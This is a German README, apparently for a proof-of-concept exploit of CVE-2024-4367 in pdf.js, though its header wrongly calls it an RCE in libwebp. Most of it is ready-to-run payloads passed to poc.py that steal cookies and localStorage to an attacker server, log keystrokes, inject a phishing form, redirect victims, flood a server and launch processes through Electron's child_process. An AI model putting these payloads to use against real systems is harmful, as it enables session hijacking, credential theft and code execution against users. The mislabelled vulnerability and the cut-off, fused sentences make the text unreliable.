elamani-drawing/cve-2024-4367-poc-pdfjsPoC (Proof of Concept) der CVE-2024-4367 - RCE-Sicherheitslücke in libwebp. Vollständige Demonstration inklusive: Erstellung von Payloads, Angriffsszenarien, Risikoanalyse und Express.js-Testserver.
Ein weiteres Ausnutzungsbeispiel besteht darin, eine einfache Alarmmeldung zu injizieren, um zu prüfen, ob der Angriff funktioniert.
python poc.py "alert('XSS exploit triggered');"
Der XSS-Angriff kann genutzt werden, um die Cookies des Opfers zu stehlen und an einen bösartigen Server zu senden.
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie) gesendet werden.Der Angreifer kann sensible Informationen stehlen, die im localStorage des Opfers gespeichert sind, wie Authentifizierungsdaten oder Sitzungsinformationen.
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage ab und sendet sie über eine fetch-Anfrage an einen bösartigen Server.Der Angreifer kann das Opfer auf eine bösartige Seite umleiten, um weitere Informationen zu sammeln oder einen anderen Exploit zu laden.
python poc.py "window.location.href='http://localhost:3000';"
Eine weitere Angriffsart besteht darin, einen Server mit Anfragen zu überfluten, was zu einer Leistungsverschlechterung oder Dienstunterbrechung führen kann.
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
Der Angreifer kann die Tastatureingaben des Opfers abfangen und so sensible Informationen wie Passwörter oder Benutzernamen abgreifen.
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
Ein Angreifer kann XSS nutzen, um ein Phishing-Formular in eine Webseite zu injizieren und so sensible Informationen (z. B. Passwort, Benutzername) zu stehlen.
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
Wenn der Benutzer auf eine Download-Schaltfläche klickt, ändern wir das Ziel des Downloads.
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
Anwendungen, die auf Frameworks wie Electron oder NW.js basieren, können ebenfalls von XSS-Angriffen betroffen sein, da sie die Einbindung von Webinhalten in Desktop-Anwendungen mit erweiterten lokalen Zugriffsrechten ermöglichen.
Diese Anwendungen können aufgrund ihrer Berechtigungen einem Angreifer ermöglichen, auf lokale Dateien zuzugreifen, externe Prozesse auszuführen oder sogar andere Anwendungen auf dem Zielrechner zu starten (z. B. Taschenrechner, Texteditor usw.). Dies vergrößert die Angriffsfläche erheblich, da diese Anwendungen die Macht des Webs mit umfangreicheren Systemzugriffen kombinieren.
Angriffe, die CVE (Common Vulnerabilities and Exposures) ausnutzen, können verschiedene Arten von XSS-Angriffen ermöglichen. Durch die Ausnutzung spezifischer Schwachstellen in Web- oder Desktop-Anwendungen kann ein Angreifer bösartigen Code injizieren, sensible Informationen stehlen, Benutzersitzungen manipulieren oder bösartige Aktionen auf dem Zielsystem ausführen.